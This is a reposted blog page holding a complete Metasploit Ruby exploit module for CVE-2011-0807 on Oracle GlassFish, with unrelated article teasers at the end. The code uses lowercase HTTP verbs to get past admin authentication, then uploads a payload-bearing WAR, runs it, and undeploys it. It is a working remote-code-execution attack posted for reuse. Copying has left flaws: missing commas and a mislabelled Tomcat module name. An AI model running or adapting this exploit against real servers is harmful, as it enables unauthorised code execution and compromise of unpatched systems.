cve_2011_0807_glassfish_auth_bypass_and_deploy

简介:

Mark for later use.

 
  1. ##  
  2. # $Id: $  
  3. ##  
  4.  
  5. ##  
  6. # This file is part of the Metasploit Framework and may be subject to  
  7. # redistribution and commercial restrictions. Please see the Metasploit  
  8. # Framework web site for more information on licensing and terms of use.  
  9. # http://metasploit.com/framework/  
  10. ###  
  11.  
  12. require 'msf/core' 
  13.  
  14. class Metasploit3 < Msf::Exploit::Remote  
  15.     Rank = ExcellentRanking  
  16.  
  17.     HttpFingerprint = { :pattern => [ /GlassFish/ ] }  
  18.  
  19.     include Msf::Exploit::Remote::HttpClient  
  20.  
  21.     def initialize(info = {})  
  22.         super(update_info(info,  
  23.             'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',  
  24.             'Description'    => %q{  
  25.                     This module can be used to execute a payload on Oracle Glassfish servers that  
  26.                 have an exposed administration application. The payload is uploaded as a WAR archive  
  27.                 containing a jsp application.  
  28.  
  29.                 The module uses the authentication bypass identified by CVE-2011-0807 to archive  
  30.                 code execution. To exploit the auth bypass http verbs in lowercase are used.  
  31.  
  32.                 The module has been tested and confirmed to work against:  
  33.                 Sun GlassFish Enterprise Server v3 for Windows, English  
  34.                 Oracle GlassFish Server 3.0.1 for Windows, English  
  35.                 Oracle GlassFish Server 3.0.1 Open Source Edition for Windows, English  
  36.                 Oracle GlassFish Server 3.0.1 Open Source Edition for Linux, English  
  37.             },  
  38.             'Author'      =>  
  39.                     [  
  40.                             'Jason Bowes'#original discovery  
  41.                             'juan vazquez' # metasploit module  
  42.                     ],  
  43.             'License'        => MSF_LICENSE,  
  44.             'Version'     => '$Revision: $',  
  45.             'References'  =>  
  46.                 [  
  47.                     [ 'CVE''2011-0807' ],  
  48.                     [ 'OSVDB''71948' ],  
  49.                     [ 'BID''47438' ],  
  50.                     [ 'URL''http://www.zerodayinitiative.com/advisories/ZDI-11-137/' ]  
  51.                 ],  
  52.             'Platform'    => [ 'java''win''linux' ],  
  53.             'Targets'     =>  
  54.                 [  
  55.                     #  
  56.                     # detection using the auth bypass  
  57.                     #  
  58.                     [ 'Automatic', { } ],  
  59.  
  60.                     #  
  61.                     # it works always, at least over linux and windows on x86  
  62.                     #  
  63.                     [ 'Java Universal',  
  64.                         {  
  65.                             'Arch' => ARCH_JAVA,  
  66.                             'Platform' => 'java' 
  67.                         },  
  68.                     ],  
  69.  
  70.                     #  
  71.                     # Platform specific targets  
  72.                     #  
  73.                     [ 'Windows x86',  
  74.                         {  
  75.                             'Arch' => ARCH_X86,  
  76.                             'Platform' => 'win' 
  77.                         },  
  78.                     ],  
  79.  
  80.                     [ 'Linux x86',  
  81.                         {  
  82.                             'Arch' => ARCH_X86,  
  83.                             'Platform' => 'linux' 
  84.                         },  
  85.                     ],  
  86.                 ],  
  87.             'DefaultTarget'  => 1,  
  88.             'DisclosureDate' => 'Apr 19 2011'))  
  89.  
  90.         register_options(  
  91.             [  
  92.                 Opt::RPORT(4848), # Administration Web Interface Port  
  93.                 OptBool.new('VERBOSE', [ false'Enable verbose output'false ]),  
  94.                 OptString.new('PATH', [ true,  "The URI path of the manager app"'/']),  
  95.                 OptPort.new('GLASSFISH_ADMIN_PORT', [true'The Glassfish Web Administration Port', 4848]),  
  96.                 OptPort.new('GLASSFISH_SERVER_PORT', [true'The Glassfish Application Server Port', 8080])  
  97.             ], self.class)  
  98.     end 
  99.  
  100.  
  101.     def auto_target  
  102.         print_status("Attempting to automatically select a target...")  
  103.  
  104.         res = query_serverinfo()  
  105.         return nil if not res  
  106.  
  107.         plat = detect_platform(res.body)  
  108.         arch = detect_arch(res.body)  
  109.  
  110.         # No arch or platform found?  
  111.         if (not arch or not plat)  
  112.             return nil 
  113.         end 
  114.  
  115.         # see if we have a match  
  116.         targets.each { |t|  
  117.             if (t['Platform'] == plat) and (t['Arch'] == arch)  
  118.                 return t  
  119.             end 
  120.         }  
  121.  
  122.         # no matching target found  
  123.         return nil 
  124.     end 
  125.  
  126.  
  127.     def exploit  
  128.  
  129.         datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']  
  130.         mytarget = target  
  131.         if (target.name =~ /Automatic/)  
  132.             mytarget = auto_target  
  133.             if (not mytarget)  
  134.                 raise RuntimeError, "Unable to automatically select a target" 
  135.             end 
  136.             print_status("Automatically selected target \"#{mytarget.name}\"")  
  137.         else 
  138.             print_status("Using manually select target \"#{mytarget.name}\"")  
  139.         end 
  140.  
  141.         # We must regenerate the payload in case our auto-magic changed something.  
  142.         p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)  
  143.  
  144.         # Generate the WAR containing the EXE containing the payload  
  145.         jsp_name = rand_text_alphanumeric(4+rand(32-4))  
  146.         app_base = rand_text_alphanumeric(4+rand(32-4))  
  147.  
  148.         # Generate the WAR containing the payload  
  149.         war = p.encoded_war({  
  150.                 :app_name => app_base,  
  151.                 :jsp_name => jsp_name,  
  152.                 :arch => mytarget.arch,  
  153.                 :platform => mytarget.platform  
  154.             }).to_s  
  155.  
  156.         #  
  157.         # UPLOAD  
  158.         #  
  159.  
  160.         print_status("Getting Information to upload...")  
  161.         viewstate, jsession, typefield, status_checkbox = get_upload_info  
  162.         if (not viewstate)  
  163.             raise RuntimeError, "Unable to get ViewState" 
  164.         end 
  165.         if (not jsession)  
  166.             raise RuntimeError, "Unable to get JSESSIONID" 
  167.         end 
  168.         if (not typefield)  
  169.                     raise RuntimeError, "Unable to get the type field" 
  170.         end 
  171.         if (not status_checkbox)  
  172.             raise RuntimeError, "Unable to get the status checkbox" 
  173.         end 
  174.         print_status("ViewState: #{viewstate}"if datastore['VERBOSE']  
  175.         print_status("JSESSIONID: #{jsession}"if datastore['VERBOSE']  
  176.         print_status("type field: #{typefield}"if datastore['VERBOSE']  
  177.         print_status("status checkbox: #{status_checkbox}"if datastore['VERBOSE']  
  178.  
  179.         boundary = rand_text_alphanumeric(15)  
  180.  
  181.         data = "--#{boundary}\r\n" 
  182.         data << "Content-Disposition: form-data; name=\"uploadRdBtn\"\r\n\r\n" 
  183.         data << "client\r\n" 
  184.         data = "--#{boundary}\r\n" 
  185.         data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; filename=\"#{app_base}.war\"\r\n" 
  186.         data << "Content-Type: application/octet-stream\r\n\r\n" 
  187.         data << war  
  188.         data << "\r\n" 
  189.         data << "--#{boundary}\r\n" 
  190.         data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\r\n\r\n" 
  191.         data << "form:sheet1:section1:prop1:fileupload\r\n" 
  192.         data << "--#{boundary}\r\n" 
  193.         data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:extension\"\r\n\r\n" 
  194.         data << ".war\r\n" 
  195.         data << "--#{boundary}\r\n" 
  196.         data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:action\"\r\n\r\n" 
  197.         data << "client\r\n" 
  198.         data << "--#{boundary}\r\n" 
  199.         data << "Content-Disposition: form-data; name=\"#{typefield}\"\r\n\r\n" 
  200.         data << "war\r\n" 
  201.         data << "--#{boundary}\r\n" 
  202.         data << "Content-Disposition: form-data; name=\"form:war:psection:cxp:ctx\"\r\n\r\n" 
  203.         data << "#{app_base}\r\n" 
  204.         data << "--#{boundary}\r\n" 
  205.         data << "Content-Disposition: form-data; name=\"form:war:psection:nameProp:appName\"\r\n\r\n" 
  206.         data << "#{app_base}\r\n" 
  207.         data << "--#{boundary}\r\n" 
  208.         data << "Content-Disposition: form-data; name=\"form:war:psection:vsProp:vs\"\r\n\r\n" 
  209.         data << "\r\n" 
  210.         data << "--#{boundary}\r\n" 
  211.         data << "Content-Disposition: form-data; name=\"#{status_checkbox}\"\r\n\r\n" 
  212.         data << "true\r\n" 
  213.         data << "--#{boundary}\r\n" 
  214.         data << "Content-Disposition: form-data; name=\"form:war:psection:librariesProp:library\"\r\n\r\n" 
  215.         data << "\r\n" 
  216.         data << "--#{boundary}\r\n" 
  217.         data << "Content-Disposition: form-data; name=\"form:war:psection:descriptionProp:description\"\r\n\r\n" 
  218.         data << "\r\n" 
  219.         data << "--#{boundary}\r\n" 
  220.         data << "Content-Disposition: form-data; name=\"form_hidden\"\r\n\r\n" 
  221.         data << "form_hidden\r\n" 
  222.         data << "--#{boundary}\r\n" 
  223.         data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" 
  224.         data << "#{viewstate}\r\n" 
  225.         data << "--#{boundary}--" 
  226.  
  227.         print_status("Uploading #{war.length} bytes as #{app_base}.war ...")  
  228.  
  229.         res = send_request_raw({  
  230.             'uri'    => datastore['PATH'] + '/common/applications/uploadFrame.jsf?form:title2:bottomButtons:uploadButton=Processing...&bare=false',  
  231.             'method'  => 'post'# lowercase for auth bypass  
  232.             'data'  => data,  
  233.             'headers' =>  
  234.             {  
  235.                 'Cookie' => "JSESSIONID=#{jsession}",  
  236.                 'Content-Type'   => 'multipart/form-data; boundary=' + boundary,  
  237.                 'Content-Length' => data.length  
  238.             }  
  239.         }, 20)  
  240.  
  241.         if (! res)  
  242.             raise RuntimeError, "Upload failed [No Response]" 
  243.         end 
  244.         if (res.code != 302)  
  245.             print_status(res.body) if datastore['VERBOSE']  
  246.             raise RuntimeError, "Upload failed [#{res.code} #{res.message}]" 
  247.         end 
  248.  
  249.         #  
  250.         # EXECUTE  
  251.         #  
  252.         datastore['RPORT'] = datastore['GLASSFISH_SERVER_PORT']  
  253.         jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' 
  254.         print_status("Executing #{jsp_path}...")  
  255.         res = send_request_cgi({  
  256.             'uri'          => jsp_path,  
  257.             'method'       => 'GET' 
  258.         }, 20)  
  259.  
  260.         if (! res)  
  261.             print_error("Execution failed on #{app_base} [No Response]")  
  262.         elsif (res.code < 200 or res.code >= 300)  
  263.             print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")  
  264.             print_status(res.body) if datastore['VERBOSE']  
  265.         end 
  266.  
  267.         #  
  268.         # DELETE  
  269.         #  
  270.         datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']  
  271.         print_status("Getting info to undeploy...")  
  272.         viewstate, jsession, entry = get_delete_info(app_base)  
  273.         if (not viewstate)  
  274.             raise RuntimeError, "Unable to get ViewState" 
  275.         end 
  276.         if (not jsession)  
  277.             raise RuntimeError, "Unable to get JSESSIONID" 
  278.         end 
  279.         if (not entry)  
  280.             raise RuntimeError, "Unable to get entry to delete" 
  281.         end 
  282.         print_status("ViewState: #{viewstate}"if datastore['VERBOSE']  
  283.         print_status("JSESSIONID: #{jsession}"if datastore['VERBOSE']  
  284.         print_status("entry: #{entry}"if datastore['VERBOSE']  
  285.  
  286.  
  287.         data =  'propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=' 
  288.         data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false' 
  289.         data << '&' + Rex::Text.uri_encode(entry) + '=true' 
  290.         data << '&propertyForm%3AhelpKey=ref-applications.html' 
  291.         data << '&propertyForm_hidden=propertyForm_hidden' 
  292.         data << '&javax.faces.ViewState=' + Rex::Text.uri_encode(viewstate)  
  293.         data << '&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 
  294.         data << '&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 
  295.         data << '&javax.faces.partial.execute=%40all' 
  296.         data << '&javax.faces.partial.render=%40all' 
  297.         data << '&bare=true' 
  298.         data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 
  299.         data << '&javax.faces.partial.ajax=true' 
  300.  
  301.         path_tmp = datastore['PATH'] + "/common/applications/applications.jsf" 
  302.         print_status("Undeploying #{app_base} ...")  
  303.         res = send_request_cgi({  
  304.             'uri'          => path_tmp,  
  305.             'method'       => 'post'# lowercase for auth bypass  
  306.             'headers' =>  
  307.                 {  
  308.                     'Cookie' => "JSESSIONID=#{jsession}" 
  309.                 },  
  310.             'data' => data  
  311.         }, 20)  
  312.         if (! res)  
  313.             print_error("WARNING: Undeployment failed on #{path} [No Response]")  
  314.         elsif (res.code < 200 or res.code >= 300)  
  315.             print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")  
  316.         end 
  317.  
  318.         handler  
  319.     end 
  320.  
  321.     def query_serverinfo()  
  322.         path = datastore['PATH'] + '/common/appServer/jvmReport.jsf' 
  323.         res = send_request_raw(  
  324.             {  
  325.                 'uri'   => path,  
  326.                 'method' => 'get' # lowercase for auth bypass  
  327.             }, 20)  
  328.  
  329.         if (not res) or (res.code != 200)  
  330.             print_error("Failed: Error requesting #{path}")  
  331.             return nil 
  332.         end 
  333.  
  334.         print_status(res.body) if datastore['VERBOSE']  
  335.  
  336.         return res  
  337.     end 
  338.  
  339.     def detect_platform(body = nil)  
  340.         if not body  
  341.             res = query_serverinfo()  
  342.             return nil if not res  
  343.             body = res.body  
  344.         end 
  345.  
  346.         body.each_line { |ln|  
  347.             ln.chomp!  
  348.  
  349.             case ln  
  350.             when /os\.name /  
  351.                 os = ln.split('=')[1]  
  352.                 case os  
  353.                 when /Windows/  
  354.                     return 'win' 
  355.  
  356.                 when /Linux/  
  357.                     return 'linux' 
  358.  
  359.                 end 
  360.             end 
  361.         }  
  362.     end 
  363.  
  364.     def detect_arch(body)  
  365.         body.each_line { |ln|  
  366.             ln.chomp!  
  367.  
  368.             case ln  
  369.             when /os\.arch /  
  370.                 ar = ln.split('=')[1].strip  
  371.                 case ar  
  372.                 when 'x86''i386'# 'i686' # only x86 (windows), i386 (linux) tested  
  373.                     return ARCH_X86  
  374. =begin 
  375.                 when 'x86_64''amd64' # not tested  
  376.                     return ARCH_X86  
  377. =end 
  378.                 end 
  379.             end 
  380.         }  
  381.     end 
  382.  
  383.     def get_upload_info()  
  384.         path = datastore['PATH'] + '/common/applications/uploadFrame.jsf' 
  385.         res = send_request_raw(  
  386.             {  
  387.                 'uri'   => path,  
  388.                 'method' => 'get' # lowercase for auth bypass  
  389.             }, 20)  
  390.  
  391.         if (not res) or (res.code != 200)  
  392.             print_error("Failed: Error requesting #{path}")  
  393.             return nil 
  394.         end 
  395.  
  396.         print_status(res.body) if datastore['VERBOSE']  
  397.  
  398.         jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]  
  399.         viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]  
  400.         typefield = res.body.scan(/select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/)[0][0]  
  401.         status_checkbox = res.body.scan(/input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/)[0][0]  
  402.  
  403.         if (viewstate.nil?)  
  404.             print_error("Failed: Error getting ViewState")  
  405.             return nil 
  406.         end 
  407.  
  408.         if (jsession.nil?)  
  409.             print_error("Failed: Error getting JSESSIONID")  
  410.             return nil 
  411.         end 
  412.  
  413.         if (typefield.nil?)  
  414.             print_error("Failed: Error getting the type field")  
  415.             return nil 
  416.         end 
  417.  
  418.         if (status_checkbox.nil?)  
  419.             print_error("Failed: Error getting the status checkbox")  
  420.             return nil 
  421.         end 
  422.  
  423.         return viewstate, jsession, typefield, status_checkbox  
  424.     end 
  425.  
  426.     def get_delete_info(app='')  
  427.         path = datastore['PATH'] + '/common/applications/applications.jsf?bare=true' 
  428.         res = send_request_raw(  
  429.             {  
  430.                 'uri'   => path,  
  431.                 'method' => 'get' # lowercase for auth bypass  
  432.             }, 20)  
  433.  
  434.         if (not res) or (res.code != 200)  
  435.             print_error("Failed: Error requesting #{path}")  
  436.             return nil 
  437.         end 
  438.  
  439.         print_status(res.body) if datastore['VERBOSE']  
  440.  
  441.         jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]  
  442.         viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]  
  443.         entry = nil 
  444.  
  445.         results = res.body.scan(/<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/)  
  446.         results.each { |hit|  
  447.             if hit[1].eql?(app)  
  448.                 entry = hit[0]  
  449.                 entry << "col0:select" 
  450.             end 
  451.         }  
  452.  
  453.         if (viewstate.nil?)  
  454.             print_error("Failed: Error getting ViewState")  
  455.             return nil 
  456.         end 
  457.  
  458.         if (jsession.nil?)  
  459.             print_error("Failed: Error getting JSESSIONID")  
  460.             return nil 
  461.         end 
  462.  
  463.         if (entry.nil?)  
  464.             print_error("Failed: Error getting the entry to delete")  
  465.         end 
  466.  
  467.         return viewstate, jsession, entry  
  468.     end 
  469.  
  470. end 

 













本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/767360,如需转载请自行联系原作者

相关文章
|
3天前
|
弹性计算 关系型数据库 微服务
基于 Docker 与 Kubernetes(K3s)的微服务:阿里云生产环境扩容实践
在微服务架构中,如何实现“稳定扩容”与“成本可控”是企业面临的核心挑战。本文结合 Python FastAPI 微服务实战,详解如何基于阿里云基础设施,利用 Docker 封装服务、K3s 实现容器编排,构建生产级微服务架构。内容涵盖容器构建、集群部署、自动扩缩容、可观测性等关键环节,适配阿里云资源特性与服务生态,助力企业打造低成本、高可靠、易扩展的微服务解决方案。
1091 0
|
12天前
|
人工智能 运维 安全
|
2天前
|
机器学习/深度学习 人工智能 前端开发
通义DeepResearch全面开源!同步分享可落地的高阶Agent构建方法论
通义研究团队开源发布通义 DeepResearch —— 首个在性能上可与 OpenAI DeepResearch 相媲美、并在多项权威基准测试中取得领先表现的全开源 Web Agent。
382 8
|
10天前
|
人工智能 测试技术 API
智能体(AI Agent)搭建全攻略:从概念到实践的终极指南
在人工智能浪潮中,智能体(AI Agent)正成为变革性技术。它们具备自主决策、环境感知、任务执行等能力,广泛应用于日常任务与商业流程。本文详解智能体概念、架构及七步搭建指南,助你打造专属智能体,迎接智能自动化新时代。
|
3天前
|
弹性计算 Kubernetes jenkins
如何在 ECS/EKS 集群中有效使用 Jenkins
本文探讨了如何将 Jenkins 与 AWS ECS 和 EKS 集群集成,以构建高效、灵活且具备自动扩缩容能力的 CI/CD 流水线,提升软件交付效率并优化资源成本。
276 0
|
10天前
|
人工智能 异构计算
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
|
11天前
|
机器学习/深度学习 人工智能 自然语言处理
B站开源IndexTTS2,用极致表现力颠覆听觉体验
在语音合成技术不断演进的背景下,早期版本的IndexTTS虽然在多场景应用中展现出良好的表现,但在情感表达的细腻度与时长控制的精准性方面仍存在提升空间。为了解决这些问题,并进一步推动零样本语音合成在实际场景中的落地能力,B站语音团队对模型架构与训练策略进行了深度优化,推出了全新一代语音合成模型——IndexTTS2 。
778 23
|
3天前
|
缓存 供应链 监控
VVIC seller_search 排行榜搜索接口深度分析及 Python 实现
VVIC搜款网seller_search接口提供服装批发市场的商品及商家排行榜数据,涵盖热销榜、销量排名、类目趋势等,支持多维度筛选与数据分析,助力选品决策、竞品分析与市场预测,为服装供应链提供有力数据支撑。
|
3天前
|
缓存 监控 API
Amazon item_review 商品评论接口深度分析及 Python 实现
亚马逊商品评论接口(item_review)可获取用户评分、评论内容及时间等数据,支持多维度筛选与分页调用,结合Python实现情感分析、关键词提取与可视化,助力竞品分析、产品优化与市场决策。